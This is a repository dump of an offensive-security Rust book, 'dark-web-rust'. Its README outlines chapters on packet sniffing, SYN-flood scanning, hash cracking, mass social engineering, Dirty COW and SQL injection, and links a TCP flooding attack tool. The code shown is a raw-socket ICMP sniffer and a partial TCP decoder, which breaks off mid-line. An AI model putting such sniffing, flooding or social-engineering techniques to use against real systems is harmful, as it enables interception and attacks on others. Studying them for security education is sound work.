├── .github └── dependabot.yml ├── .gitignore ├── Cargo.toml ├── LICENSE ├── README.md ├── chapter-1 ├── README.md ├── chapter-1.ipynb ├── chapter-1.pdf ├── decoding-icmp-packets │ ├── Cargo.toml │ └── src │ │ └── main.rs ├── decoding-tcp-packets │ ├── Cargo.toml │ └── src │ │ └── main.rs ├── decoding-the-essence-of-udp │ ├── Cargo.toml │ └── src │ │ └── main.rs ├── decoding-the-ip-header │ ├── Cargo.toml │ └── src │ │ └── main.rs ├── decoding-udp-packets │ ├── Cargo.toml │ └── src │ │ └── main.rs └── syn-flood-port-scanning │ ├── Cargo.toml │ └── src │ └── main.rs ├── chapter-2 ├── README.md ├── chapter-2.ipynb ├── chapter-2.pdf ├── parse-png │ ├── Cargo.toml │ ├── prj.png │ └── src │ │ └── main.rs └── stegano │ ├── Cargo.toml │ ├── decoded.png │ ├── output.png │ ├── prj.png │ └── src │ └── main.rs ├── chapter-3 ├── README.md ├── chapter-3.ipynb └── chapter-3.pdf ├── chapter-4 ├── README.md ├── chapter-4.ipynb └── chapter-4.pdf ├── chapter-5 ├── README.md ├── chapter-5.ipynb ├── chapter-5.pdf ├── etc.txt ├── example.txt ├── file.txt └── mapping.txt ├── chapter-6 ├── README.md ├── chapter-6.ipynb ├── chapter-6.pdf └── sql-injection │ ├── Cargo.toml │ ├── Rocket.toml │ ├── db.sqlite │ └── src │ └── main.rs └── src └── main.rs /.github/dependabot.yml: -------------------------------------------------------------------------------- 1 | # To get started with Dependabot version updates, you'll need to specify which 2 | # package ecosystems to update and where the package manifests are located. 3 | # Please see the documentation for all configuration options: 4 | # https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates 5 | 6 | version: 2 7 | updates: 8 | - package-ecosystem: "cargo" # See documentation for possible values 9 | directory: "/" # Location of package manifests 10 | schedule: 11 | interval: "weekly" 12 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | debug/ 4 | target/ 5 | 6 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 7 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 8 | Cargo.lock 9 | 10 | # These are backup files generated by rustfmt 11 | **/*.rs.bk 12 | 13 | # MSVC Windows builds of rustc generate these, which store debugging information 14 | *.pdb 15 | 16 | # These are files generated by Jupyter 17 | .ipynb_checkpoints 18 | 19 | **/*.sqlite 20 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "dark-web-rust" 3 | version = "0.4.0" 4 | edition = "2021" 5 | authors = ["Mahmoud Harmouch "] 6 | description = "A hands-on book for abusing systems using Rust." 7 | repository = "https://github.com/wiseaidev/dark-web-rust" 8 | license = "MIT" 9 | publish = false 10 | 11 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 12 | # Note: this is just a dummy cargo file contains all deps for Dependabot to update and for better 13 | # github visibility 14 | 15 | [dependencies] 16 | aes = "0.8.3" 17 | base64 = "0.21.5" 18 | bcrypt = "0.15.0" 19 | cbc = { version = "0.1.2", features = ["alloc"] } 20 | chacha20poly1305 = "0.10.1" 21 | evcxr = "0.17.0" 22 | hex = "0.4.3" 23 | hex-literal = "0.4.1" 24 | md-5 = "0.10.6" 25 | rand = "0.8.5" 26 | reqwest = { version = "0.11.23", features = ["cookies"] } 27 | ring = "0.17.7" 28 | rsa = { version = "0.9.6", features = ["sha2"] } 29 | serde_json = "1.0.109" 30 | socket2 = { version = "0.5.5", features = ["all"] } 31 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Mahmoud Harmouch 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 📚 Dark Web Rust 2 | 3 | [![Work In Progress](https://img.shields.io/badge/Work%20In%20Progress-red)](https://github.com/wiseaidev) 4 | [![Maintenance](https://img.shields.io/badge/Maintained%3F-yes-green.svg)](https://github.com/wiseaidev) 5 | [![License](https://img.shields.io/badge/MIT-license-blue.svg)](https://opensource.org/licenses/MIT) 6 | [![made-with-rust](https://img.shields.io/badge/Made%20with-Rust-1f425f.svg?logo=rust&logoColor=white)](https://www.rust-lang.org/) 7 | [![Jupyter Notebook](https://img.shields.io/badge/Jupyter-Notebook-blue.svg?logo=Jupyter&logoColor=orange)](https://jupyter.org/) 8 | [![Share On Reddit](https://img.shields.io/badge/share%20on-reddit-red?logo=reddit)](https://reddit.com/submit?url=https://github.com/wiseaidev/dark-web-rust&title=A%20hands-on%20book%20for%20abusing%20systems%20using%20Rust) 9 | [![Share On Ycombinator](https://img.shields.io/badge/share%20on-hacker%20news-orange?logo=ycombinator)](https://news.ycombinator.com/submitlink?u=https://github.com/wiseaidev/dark-web-rust&t=A%20hands-on%20book%20for%20abusing%20systems%20using%20Rust) 10 | [![Share On X](https://img.shields.io/badge/share%20on-X-03A9F4?logo=x)](https://twitter.com/share?url=https://github.com/wiseaidev/dark-web-rust&text=A%20hands-on%20book%20for%20abusing%20systems%20using%20Rust) 11 | [![Share On Meta](https://img.shields.io/badge/share%20on-meta-1976D2?logo=meta)](https://www.facebook.com/sharer/sharer.php?u=https://github.com/wiseaidev/dark-web-rust) 12 | [![Share On Linkedin](https://img.shields.io/badge/share%20on-linkedin-3949AB?logo=linkedin)](https://www.linkedin.com/shareArticle?url=https://github.com/wiseaidev/dark-web-rust&title=A%20hands-on%20book%20for%20abusing%20systems%20using%20Rust) 13 | 14 | > [!WARNING] 15 | This comprehensive repository provides hands-on advanced cybersecurity resources and tools for educational purposes only. Use at your own risk, as unauthorized use may result in severe legal consequences, including imprisonment. The content is strictly educational, focusing on cybersecurity principles. Exercise caution, adhere to ethical guidelines, and avoid activities breaching legal boundaries. Misuse can lead to serious legal ramifications, and you are solely responsible for your actions. 16 | 17 | Welcome to the **Dark Web Rust** repository! This project is a continuum work of the [black-hat-rust](https://github.com/skerkour/black-hat-rust) book. Here, you'll delve into the world of networking, implementing low-level protocols, including IP, TCP, UDP, ICMP, and much more topics. The primary focus is on hands-on hacking methodologies, providing a comprehensive learning experience through Jupyter notebooks. Each chapter in this repository is also available in PDFs, Markdown, and other formats. 18 | 19 | ## 📝 Table of Contents 20 | 21 | - [Installation](#-installation) 22 | - [Chapters](#-chapters) 23 | - [Tools](#-tools) 24 | - [Licence](#-licence) 25 | - [Star History](#-star-history) 26 | 27 | ## 🚀 Installation 28 | 29 | To use the notebooks in this repository, you need to set up your environment. Follow these steps to get started: 30 | 31 | 1. Clone the repository to your local machine: 32 | 33 | ```sh 34 | git clone https://github.com/wiseaidev/dark-web-rust.git 35 | ``` 36 | 37 | 1. Install the required dependencies and libraries. Make sure you have [`Rust`](https://rustup.rs/), [`Jupyter Notebook`](https://jupyter.org/install), and [`evcxr_jupyter`](https://github.com/evcxr/evcxr/blob/main/evcxr_jupyter/README.md) installed on your system. 38 | 39 | ```sh 40 | # Install a Rust toolchain (e.g. nightly): 41 | curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y --default-toolchain nightly 42 | 43 | # Install Jupyter Notebook 44 | pip install notebook 45 | 46 | # Install evcxr_jupyter 47 | cargo install evcxr_jupyter 48 | evcxr_jupyter --install 49 | ``` 50 | 51 | 1. Navigate to the cloned repository: 52 | 53 | ```sh 54 | cd dark-web-rust/chapter-1 55 | ``` 56 | 57 | 1. Start Jupyter Notebook: 58 | 59 | ```sh 60 | jupyter notebook 61 | ``` 62 | 63 | 1. Access the notebooks in your web browser by clicking on the notebook file you want to explore. 64 | 65 | ## 📌 Chapters 66 | 67 | | ID | Title | NB Pages | Topics | Open on GitHub | Launch on Binder | Read PDF | 68 | |----|---------------|-----------|:-------------|-------------|----------------|-------| 69 | | 1 | **Crafting a Rust-Based Network Sniffer** | 42 | - Introduction to Network Sniffers
- Rust for Network Programming
- The `socket2` Crate
- Fundamentals of Raw Network Packets in Rust
- Decoding different IP and Transport layers Packets in Rust
- How to build your own custom NMAP-like ports scanner | [![Github](https://img.shields.io/badge/launch-Github-181717.svg?logo=github&logoColor=white)](./chapter-1/chapter-1.ipynb) | [![Binder](https://mybinder.org/badge_logo.svg)](https://mybinder.org/v2/gh/wiseaidev/dark-web-rust/main?filepath=chapter-1/chapter-1.ipynb) | [![nbviewer](https://img.shields.io/badge/Read%20PDF-nbviewer-blue)](https://nbviewer.org/github/wiseaidev/dark-web-rust/tree/main/chapter-1/chapter-1.pdf) | 70 | | 2 | **Hidden Threads: Mastering the Art of Steganography in Rust** | 29 | - Exploring the PNG File Format
- Reading amd Validating PNG Image Files
- Preprocessing PNG Images.
- Hiding Secrets with Steganography
| [![Github](https://img.shields.io/badge/launch-Github-181717.svg?logo=github&logoColor=white)](./chapter-2/chapter-2.ipynb) | [![Binder](https://mybinder.org/badge_logo.svg)](https://mybinder.org/v2/gh/wiseaidev/dark-web-rust/main?filepath=chapter-2/chapter-2.ipynb) | [![nbviewer](https://img.shields.io/badge/Read%20PDF-nbviewer-blue)](https://nbviewer.org/github/wiseaidev/dark-web-rust/tree/main/chapter-2/chapter-2.pdf) | 71 | | 3 | **Rust's Cryptographic Strengths and Vulnerabilities** | 23 | - Cryptography in Rust
- Hashing
- Cracking MD5 Hashes
- Implementing bcrypt
- Message Authentication
- Symmetric Encryption
- Asymmetric Encryption
| [![Github](https://img.shields.io/badge/launch-Github-181717.svg?logo=github&logoColor=white)](./chapter-3/chapter-3.ipynb) | [![Binder](https://mybinder.org/badge_logo.svg)](https://mybinder.org/v2/gh/wiseaidev/dark-web-rust/main?filepath=chapter-3/chapter-3.ipynb) | [![nbviewer](https://img.shields.io/badge/Read%20PDF-nbviewer-blue)](https://nbviewer.org/github/wiseaidev/dark-web-rust/tree/main/chapter-3/chapter-3.pdf) | 72 | | 4 | **Web Reconnaissance in Rust** | 26 | - Web Reconnaissance and Social Engineering.
- Cookies management for persistent sessions.
- Crafting stealthy requests with custom user-agents.
- Leveraging proxies using Reqwest for enhanced security.
- Building a modular browser struct in Rust.
- Utilizing DuckDuckGo API for information gathering.
- Advanced interactions like image search and custom queries.
- Parsing Xeets in Rust for efficient data handling.
- Implementing anonymous email communication.
Mass social engineering techniques.| [![Github](https://img.shields.io/badge/launch-Github-181717.svg?logo=github&logoColor=white)](./chapter-4/chapter-4.ipynb) | [![Binder](https://mybinder.org/badge_logo.svg)](https://mybinder.org/v2/gh/wiseaidev/dark-web-rust/main?filepath=chapter-4/chapter-4.ipynb) | [![nbviewer](https://img.shields.io/badge/Read%20PDF-nbviewer-blue)](https://nbviewer.org/github/wiseaidev/dark-web-rust/tree/main/chapter-4/chapter-4.pdf) | 73 | | 5 | **The Dirty COW vulnerability in Rust** | 39 | - Memory Mapping.
- Applications of Memory Mapping.
- Memory-Mapped Database.
- Memory-Mapped Networking.
- Shared and Private Memory Mapping.
- Copy On Write (COW) Mechanism.
- Madvise System Call and Read-Only Files.| [![Github](https://img.shields.io/badge/launch-Github-181717.svg?logo=github&logoColor=white)](./chapter-5/chapter-5.ipynb) | [![Binder](https://mybinder.org/badge_logo.svg)](https://mybinder.org/v2/gh/wiseaidev/dark-web-rust/main?filepath=chapter-5/chapter-5.ipynb) | [![nbviewer](https://img.shields.io/badge/Read%20PDF-nbviewer-blue)](https://nbviewer.org/github/wiseaidev/dark-web-rust/tree/main/chapter-5/chapter-5.pdf) | 74 | | 6 | **SQL Injection in Rust** | 12+ | - SQL Injection In `Rocket` and `SQLite`
- Gathering User Input.
- Fetching Data From the Database.
- SQL Injection Exploitation.
- SQL Injection Through cURL.
- SQL Injection Mitigation.| [![Github](https://img.shields.io/badge/launch-Github-181717.svg?logo=github&logoColor=white)](./chapter-6/chapter-6.ipynb) | [![Binder](https://mybinder.org/badge_logo.svg)](https://mybinder.org/v2/gh/wiseaidev/dark-web-rust/main?filepath=chapter-6/chapter-6.ipynb) | [![nbviewer](https://img.shields.io/badge/Read%20PDF-nbviewer-blue)](https://nbviewer.org/github/wiseaidev/dark-web-rust/tree/main/chapter-6/chapter-6.pdf) | 75 | | 7 | **TCP Protocol Vulnerabilities and Countermeasures** | TODO | TODO | TODO | TODO | TODO | 76 | 77 | ## 🛠 Tools 78 | 79 | The following is a collection of CLIs developed while writing this book, providing insight into what you might expect from this book. 80 | 81 | | Crate | Stars | Description | 82 | |------------|-------|------------| 83 | | [Rping](https://github.com/wiseaidev/rping) | ![Stars](https://img.shields.io/github/stars/wiseaidev/rping) | 🌊 A Fully Anonymous Any TCP Flag Flooding Attack CLI. | 84 | | [ipcap](https://github.com/wiseaidev/ipcap) | ![Stars](https://img.shields.io/github/stars/wiseaidev/ipcap) | 🌍 Perform IP lookup from the command line without internet access. | 85 | | [stegano](https://github.com/wiseaidev/stegano) | ![Stars](https://img.shields.io/github/stars/wiseaidev/stegano) | 🕵️‍♂️ A powerful and memory-safe steganography tool | 86 | | [duckduckgo](https://github.com/wiseaidev/duckduckgo) | ![Stars](https://img.shields.io/github/stars/wiseaidev/duckduckgo) | 🦆 A CLI and library for instant DuckDuckGo searches. | 87 | 88 | ## 📜 License 89 | 90 | This project is licensed under the [MIT](https://opensource.org/licenses/MIT). For more details, You can refer to the [LICENSE](LICENSE) file. 91 | 92 | ## 📈 Star History 93 | 94 | [![Star History Chart](https://api.star-history.com/svg?repos=wiseaidev/dark-web-rust&type=Date)](https://star-history.com/#wiseaidev/dark-web-rust&Date) 95 | 96 | **Stay Ethical, Stay Legal. Use Responsibly.** ⚠️ 97 | -------------------------------------------------------------------------------- /chapter-1/chapter-1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wiseaidev/dark-web-rust/84447871febeb7bb0a33b26aac645098bfcbdf7d/chapter-1/chapter-1.pdf -------------------------------------------------------------------------------- /chapter-1/decoding-icmp-packets/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "decoding-icmp-packets" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | socket2 = {version = "0.5.5", features = ["all"]} 10 | 11 | -------------------------------------------------------------------------------- /chapter-1/decoding-icmp-packets/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::mem::MaybeUninit; 2 | use std::net::SocketAddr; 3 | use std::net::{IpAddr, Ipv4Addr}; 4 | 5 | const ICMP_TYPE_CODE_MAP: &[((u8, u8), &str)] = &[ 6 | ((0, 0), "Echo Reply"), 7 | ((3, 0), "Destination Unreachable - Net is unreachable"), 8 | ((3, 1), "Destination Unreachable - Host is unreachable"), 9 | ((3, 2), "Destination Unreachable - Protocol is unreachable"), 10 | ((3, 3), "Destination Unreachable - Port is unreachable"), 11 | ((3, 4), "Destination Unreachable - Fragmentation is needed and Don't Fragment was set"), 12 | ((3, 5), "Destination Unreachable - Source route failed"), 13 | ((3, 6), "Destination Unreachable - Destination network is unknown"), 14 | ((3, 7), "Destination Unreachable - Destination host is unknown"), 15 | ((3, 8), "Destination Unreachable - Source host is isolated"), 16 | ((3, 9), "Destination Unreachable - Communication with destination network is administratively prohibited"), 17 | ((3, 10), "Destination Unreachable - Communication with destination host is administratively prohibited"), 18 | ((3, 11), "Destination Unreachable - Destination network is unreachable for type of service"), 19 | ((3, 12), "Destination Unreachable - Destination host is unreachable for type of service"), 20 | ((3, 13), "Destination Unreachable - Communication is administratively prohibited"), 21 | ((3, 14), "Destination Unreachable - Host precedence violation"), 22 | ((3, 15), "Destination Unreachable - Precedence cutoff is in effect"), 23 | ((4, 0), "Source Quench"), 24 | ((5, 0), "Redirect"), 25 | ((8, 0), "Echo"), 26 | ((9, 0), "Router Advertisement"), 27 | ((10, 0), "Router Selection"), 28 | ((11, 0), "Time Exceeded"), 29 | ((12, 0), "Parameter Problem"), 30 | ((13, 0), "Timestamp"), 31 | ((14, 0), "Timestamp Reply"), 32 | ((15, 0), "Information Request"), 33 | ((16, 0), "Information Reply"), 34 | ((17, 0), "Address Mask Request"), 35 | ((18, 0), "Address Mask Reply"), 36 | ((30, 0), "Traceroute"), 37 | ((40, 0), "Photuris"), 38 | ((41, 0), "ICMP for IPv6"), 39 | ((42, 0), "No Next Header for IPv6"), 40 | ((43, 0), "Destination Unreachable for IPv6"), 41 | ((44, 0), "Packet Too Big for IPv6"), 42 | ((45, 0), "Time Exceeded for IPv6"), 43 | ((46, 0), "Parameter Problem for IPv6"), 44 | ((47, 0), "Echo Request for IPv6"), 45 | ((48, 0), "Echo Reply for IPv6"), 46 | ((49, 0), "Multicast Listener Query for IPv6"), 47 | ((50, 0), "Multicast Listener Report for IPv6"), 48 | ((51, 0), "Multicast Listener Done for IPv6"), 49 | ((58, 0), "Router Solicitation for IPv6"), 50 | ((59, 0), "Router Advertisement for IPv6"), 51 | ((60, 0), "Neighbor Solicitation for IPv6"), 52 | ((61, 0), "Neighbor Advertisement for IPv6"), 53 | ((62, 0), "Redirect Message for IPv6"), 54 | ]; 55 | 56 | #[allow(dead_code)] 57 | struct IP { 58 | ver_ihl: u8, 59 | tos: u8, 60 | len: u16, 61 | id: u16, 62 | offset: u16, 63 | ttl: u8, 64 | protocol_num: u8, 65 | sum: u16, 66 | src: u32, 67 | dst: u32, 68 | } 69 | 70 | impl IP { 71 | fn new(buff: &[u8]) -> Option { 72 | if buff.len() >= 20 { 73 | let header = IP { 74 | ver_ihl: buff[0], 75 | tos: buff[1], 76 | len: u16::from_be_bytes([buff[2], buff[3]]), 77 | id: u16::from_be_bytes([buff[4], buff[5]]), 78 | offset: u16::from_be_bytes([buff[6], buff[7]]), 79 | ttl: buff[8], 80 | protocol_num: buff[9], 81 | sum: u16::from_be_bytes([buff[10], buff[11]]), 82 | src: u32::from_be_bytes([buff[12], buff[13], buff[14], buff[15]]), 83 | dst: u32::from_be_bytes([buff[16], buff[17], buff[18], buff[19]]), 84 | }; 85 | 86 | Some(header) 87 | } else { 88 | None 89 | } 90 | } 91 | 92 | fn protocol(&self) -> String { 93 | // Refer to ---> https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml 94 | match self.protocol_num { 95 | 0 => String::from("HOPOPT"), 96 | 1 => String::from("ICMP"), 97 | 2 => String::from("IGMP"), 98 | 3 => String::from("GGP"), 99 | 4 => String::from("IPv4"), 100 | 5 => String::from("ST"), 101 | 6 => String::from("TCP"), 102 | 7 => String::from("CBT"), 103 | 8 => String::from("EGP"), 104 | 9 => String::from("IGP"), 105 | 10 => String::from("BBN-RCC-MON"), 106 | 11 => String::from("NVP-II"), 107 | 12 => String::from("PUP"), 108 | 13 => String::from("ARGUS"), 109 | 14 => String::from("EMCON"), 110 | 15 => String::from("XNET"), 111 | 16 => String::from("CHAOS"), 112 | 17 => String::from("UDP"), 113 | 18 => String::from("MUX"), 114 | 19 => String::from("DCN-MEAS"), 115 | 20 => String::from("HMP"), 116 | 21 => String::from("PRM"), 117 | 22 => String::from("XNS-IDP"), 118 | 23 => String::from("TRUNK-1"), 119 | 24 => String::from("TRUNK-2"), 120 | 25 => String::from("LEAF-1"), 121 | 26 => String::from("LEAF-2"), 122 | 27 => String::from("RDP"), 123 | 28 => String::from("IRTP"), 124 | 29 => String::from("ISO-TP4"), 125 | 30 => String::from("NETBLT"), 126 | 31 => String::from("MFE-NSP"), 127 | 32 => String::from("MERIT-INP"), 128 | 33 => String::from("DCCP"), 129 | 34 => String::from("3PC"), 130 | 35 => String::from("IDPR"), 131 | 36 => String::from("XTP"), 132 | 37 => String::from("DDP"), 133 | 38 => String::from("IDPR-CMTP"), 134 | 39 => String::from("TP++"), 135 | 40 => String::from("IL"), 136 | 41 => String::from("IPv6"), 137 | 42 => String::from("SDRP"), 138 | 43 => String::from("IPv6-Route"), 139 | 44 => String::from("IPv6-Frag"), 140 | 45 => String::from("IDRP"), 141 | 46 => String::from("RSVP"), 142 | 47 => String::from("GRE"), 143 | 48 => String::from("DSR"), 144 | 49 => String::from("BNA"), 145 | 50 => String::from("ESP"), 146 | 51 => String::from("AH"), 147 | 52 => String::from("I-NLSP"), 148 | 53 => String::from("SWIPE (deprecated)"), 149 | 54 => String::from("NARP"), 150 | 55 => String::from("MOBILE"), 151 | 56 => String::from("TLSP"), 152 | 57 => String::from("SKIP"), 153 | 58 => String::from("IPv6-ICMP"), 154 | 59 => String::from("IPv6-NoNxt"), 155 | 60 => String::from("IPv6-Opts"), 156 | 61 => String::from("any host internal protocol"), 157 | 62 => String::from("CFTP"), 158 | 63 => String::from("any local network"), 159 | 64 => String::from("SAT-EXPAK"), 160 | 65 => String::from("KRYPTOLAN"), 161 | 66 => String::from("RVD"), 162 | 67 => String::from("IPPC"), 163 | 68 => String::from("any distributed file system"), 164 | 69 => String::from("SAT-MON"), 165 | 70 => String::from("VISA"), 166 | 71 => String::from("IPCV"), 167 | 72 => String::from("CPNX"), 168 | 73 => String::from("CPHB"), 169 | 74 => String::from("WSN"), 170 | 75 => String::from("PVP"), 171 | 76 => String::from("BR-SAT-MON"), 172 | 77 => String::from("SUN-ND"), 173 | 78 => String::from("WB-MON"), 174 | 79 => String::from("WB-EXPAK"), 175 | 80 => String::from("ISO-IP"), 176 | 81 => String::from("VMTP"), 177 | 82 => String::from("SECURE-VMTP"), 178 | 83 => String::from("VINES"), 179 | 84 => String::from("IPTM"), 180 | 85 => String::from("NSFNET-IGP"), 181 | 86 => String::from("DGP"), 182 | 87 => String::from("TCF"), 183 | 88 => String::from("EIGRP"), 184 | 89 => String::from("OSPFIGP"), 185 | 90 => String::from("Sprite-RPC"), 186 | 91 => String::from("LARP"), 187 | 92 => String::from("MTP"), 188 | 93 => String::from("AX.25"), 189 | 94 => String::from("IPIP"), 190 | 95 => String::from("MICP (deprecated)"), 191 | 96 => String::from("SCC-SP"), 192 | 97 => String::from("ETHERIP"), 193 | 98 => String::from("ENCAP"), 194 | 100 => String::from("GMTP"), 195 | 101 => String::from("IFMP"), 196 | 102 => String::from("PNNI"), 197 | 103 => String::from("PIM"), 198 | 104 => String::from("ARIS"), 199 | 105 => String::from("SCPS"), 200 | 106 => String::from("QNX"), 201 | 107 => String::from("A/N"), 202 | 108 => String::from("IPComp"), 203 | 109 => String::from("SNP"), 204 | 110 => String::from("Compaq-Peer"), 205 | 111 => String::from("IPX-in-IP"), 206 | 112 => String::from("VRRP"), 207 | 113 => String::from("PGM"), 208 | 114 => String::from("any 0-hop protocol"), 209 | 115 => String::from("L2TP"), 210 | 116 => String::from("DDX"), 211 | 117 => String::from("IATP"), 212 | 118 => String::from("STP"), 213 | 119 => String::from("SRP"), 214 | 120 => String::from("UTI"), 215 | 121 => String::from("SMP"), 216 | 122 => String::from("SM (deprecated)"), 217 | 123 => String::from("PTP"), 218 | 124 => String::from("ISIS over IPv4"), 219 | 125 => String::from("FIRE"), 220 | 126 => String::from("CRTP"), 221 | 127 => String::from("CRUDP"), 222 | 128 => String::from("SSCOPMCE"), 223 | 129 => String::from("IPLT"), 224 | 130 => String::from("SPS"), 225 | 131 => String::from("PIPE"), 226 | 132 => String::from("SCTP"), 227 | 133 => String::from("FC"), 228 | 134 => String::from("RSVP-E2E-IGNORE"), 229 | 135 => String::from("Mobility Header"), 230 | 136 => String::from("UDPLite"), 231 | 137 => String::from("MPLS-in-IP"), 232 | 138 => String::from("manet"), 233 | 139 => String::from("HIP"), 234 | 140 => String::from("Shim6"), 235 | 141 => String::from("WESP"), 236 | 142 => String::from("ROHC"), 237 | 143 => String::from("Ethernet"), 238 | 144 => String::from("AGGFRAG"), 239 | 145 => String::from("NSH"), 240 | 146..=252 => String::from("Unassigned"), 241 | 253 => String::from("Use for experimentation and testing"), 242 | 254 => String::from("Use for experimentation and testing"), 243 | 255 => String::from("Reserved"), 244 | _ => format!("{}", self.protocol_num), 245 | } 246 | } 247 | 248 | fn src_address(&self) -> String { 249 | Ipv4Addr::from(self.src).to_string() 250 | } 251 | 252 | fn dst_address(&self) -> String { 253 | Ipv4Addr::from(self.dst).to_string() 254 | } 255 | 256 | fn offset(&self) -> String { 257 | self.offset.to_string() 258 | } 259 | 260 | fn ttl(&self) -> String { 261 | self.ttl.to_string() 262 | } 263 | 264 | fn ver(&self) -> String { 265 | self.ver_ihl.to_string() 266 | } 267 | 268 | fn len(&self) -> String { 269 | self.len.to_string() 270 | } 271 | } 272 | 273 | #[allow(dead_code)] 274 | struct ICMP { 275 | type_: u8, 276 | code: u8, 277 | sum: u16, 278 | id: u16, 279 | seq: u16, 280 | } 281 | 282 | impl ICMP { 283 | fn new(buff: &[u8]) -> Self { 284 | let header = ( 285 | buff[0], 286 | buff[1], 287 | u16::from_be_bytes([buff[2], buff[3]]), 288 | u16::from_be_bytes([buff[4], buff[5]]), 289 | u16::from_be_bytes([buff[6], buff[7]]), 290 | ); 291 | ICMP { 292 | type_: header.0, 293 | code: header.1, 294 | sum: header.2, 295 | id: header.3, 296 | seq: header.4, 297 | } 298 | } 299 | } 300 | 301 | fn icmp_type_name(type_: u8, code: u8) -> String { 302 | for &((t, c), name) in ICMP_TYPE_CODE_MAP { 303 | if t == type_ && (c == code || c == 255) { 304 | return name.to_string(); 305 | } 306 | } 307 | format!("Type: {}, Code: {}", type_, code) 308 | } 309 | 310 | fn sniff(address: SocketAddr) { 311 | let socket_protocol = if cfg!(target_os = "windows") { 312 | 0 313 | } else { 314 | 1 // IPPROTO_ICMP 315 | }; 316 | 317 | let sniffer = socket2::Socket::new( 318 | socket2::Domain::IPV4, 319 | socket2::Type::RAW, 320 | Some(socket2::Protocol::from(socket_protocol)), 321 | ).unwrap(); 322 | sniffer.bind(&address.into()).unwrap(); 323 | 324 | let mut buffer: [MaybeUninit; 65535] = unsafe { MaybeUninit::uninit().assume_init() }; 325 | loop { 326 | let _length = sniffer.recv_from(&mut buffer).unwrap(); 327 | let raw_buffer: &[u8] = 328 | unsafe { std::slice::from_raw_parts(buffer.as_ptr() as *const u8, buffer.len()) }; 329 | 330 | if raw_buffer.len() < 20 { 331 | eprintln!("Invalid packet: too short"); 332 | continue; 333 | } 334 | 335 | // Create an IP header from the first 20 bytes 336 | let ip_header = match IP::new(&raw_buffer[..20]) { 337 | Some(header) => header, 338 | None => { 339 | eprintln!("Failed to parse IP header"); 340 | continue; 341 | } 342 | }; 343 | 344 | // If it's ICMP, we want it 345 | if ip_header.protocol() == "ICMP" { 346 | println!( 347 | "Protocol: {} {} -> {}", 348 | "ICMP", 349 | ip_header.src_address(), 350 | ip_header.dst_address() 351 | ); 352 | println!("Version: {}", ip_header.ver()); 353 | println!( 354 | "Header Length: {} TTL: {}", 355 | ip_header.len(), 356 | ip_header.ttl() 357 | ); 358 | 359 | // Calculate where our ICMP packet starts 360 | let offset = ip_header.offset().parse().unwrap_or_else(|_| { 361 | eprintln!("Failed to parse offset"); 362 | 0 363 | }); 364 | if offset + 8 <= raw_buffer.len() { 365 | let buf = &raw_buffer[offset..offset + 8]; 366 | // Create our ICMP structure 367 | let icmp_header = ICMP::new(buf); 368 | println!( 369 | "ICMP -> {}", 370 | icmp_type_name(icmp_header.type_, icmp_header.code) 371 | ); 372 | } else { 373 | eprintln!("Invalid ICMP packet: too short"); 374 | } 375 | } 376 | } 377 | } 378 | 379 | fn main() { 380 | let socket = SocketAddr::new(IpAddr::V4(Ipv4Addr::new(0, 0, 0, 0)), 12345); 381 | 382 | sniff(socket); 383 | } 384 | -------------------------------------------------------------------------------- /chapter-1/decoding-tcp-packets/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "decoding-tcp-packets" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | socket2 = {version = "0.5.5", features = ["all"]} 10 | 11 | -------------------------------------------------------------------------------- /chapter-1/decoding-tcp-packets/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::mem::MaybeUninit; 2 | use std::net::SocketAddr; 3 | use std::net::{IpAddr, Ipv4Addr}; 4 | 5 | // Constants for TCP and IP headers size 6 | const TCP_HEADER_SIZE: usize = 20; 7 | const IPV4_HEADER_SIZE: usize = 20; 8 | 9 | #[allow(dead_code)] 10 | struct TCP { 11 | source_port: u16, 12 | destination_port: u16, 13 | sequence_number: u32, 14 | acknowledgment_number: u32, 15 | data_offset: u8, 16 | reserved: u8, 17 | flags: u16, 18 | window_size: u16, 19 | checksum: u16, 20 | urgent_pointer: u16, 21 | } 22 | 23 | impl TCP { 24 | fn new(buffer: &[u8]) -> Self { 25 | // Parse the TCP header fields from the buffer 26 | let source_port = u16::from_be_bytes([buffer[0], buffer[1]]); 27 | let 